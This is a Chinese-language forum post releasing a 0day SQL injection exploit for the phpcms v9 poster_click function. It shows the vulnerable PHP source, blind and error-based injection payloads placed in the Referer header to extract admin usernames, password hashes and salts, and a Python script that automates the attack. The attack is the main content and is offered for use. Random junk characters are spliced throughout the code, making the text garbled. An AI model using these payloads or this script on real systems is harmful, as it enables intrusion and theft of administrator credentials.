phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
- y9 y: ^6 o4 C! [1 i4 N  S9 J
问题函数\phpcms\modules\poster\index.php

public function poster_click() {
9 T2 Q1 \2 l4 a# i# ]" V# ]+ J$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
! k4 a- ^% }4 ~8 K' gif (!is_array($r) && empty($r)) return false;
0 u  g0 H  G* i# t" |- \$ip_area = pc_base::load_sys_class('ip_area');
4 Z9 m' f+ \0 O$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
! X. _. e7 }# }. s# jif($id) {
4 Y1 Q+ v$ H- K( n. }& ~3 U$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
  i; d5 Q0 T! @$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
+ O6 F# c0 D0 `. D$setting = string2array($r['setting']);
if (count($setting)==1) {
- q: Q$ v2 W7 W$url = $setting['1']['linkurl'];
} else {
; Y7 Z2 j7 j  K7 X4 O$ X: n3 U$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
* B& O; c& }3 W" X# `header('Location: '.$url);
8 f+ y  V% y; l- q. g4 N. K}


( r, S( E8 X* \: |$ b- e
1 R, X% y, \& U8 K% i. ^. @利用方式：

: L8 k* @* T$ m! v1、可以采用盲注入的手法：

7 P- r6 n: t4 k. K2 I. n) kreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
0 B- i; B9 n; l; V1 K. ?$ d
通过返回页面，正常与否一个个猜解密码字段。
5 }; }6 U- C5 _; @! a, @" Z
2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
3 l$ G5 @  K7 c- ?
此方法是爆错注入手法，原理自查。
8 T% B4 e3 N/ O, ]9 f6 Q; S( f
. `' P. ^8 I9 v, D: ?

利用程序:

#!/usr/bin/env python
; ^$ D1 G. D( x6 W4 p+ W' aimport httplib,sys,re

def attack():
! S: U1 D& k4 ~8 P! `) k. P  w; Mprint “Code by Pax.Mac Team conqu3r!”
) W3 G, R& y+ z4 @! |/ i" ~print “Welcome to our zone!!!”
url=sys.argv[1]
paths=sys.argv[2]
conn = httplib.HTTPConnection(url)
* E& k2 a1 w* o8 H/ \; fi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
datas=r1.read()
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
' Z" U# K' f' k& l8 {print datas[0]
conn.close()
3 ]% l2 S8 A4 n' ]% _  iif __name__==”__main__”:
if len(sys.argv)<3:
7 q. E7 I0 f( S, @/ I4 o4 ]print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
9 u* x0 L* H5 }; Z9 l: C8 y( A: vprint “    phpcmsattack.py   www.paxmac.org /”
  Y& w( W( K  B; Q; {8 B) hprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
0 }, o! W8 x$ N2 i! [attack()
- H) g0 h' F' G( a8 K4 Z: V
7 H* V5 E2 |8 I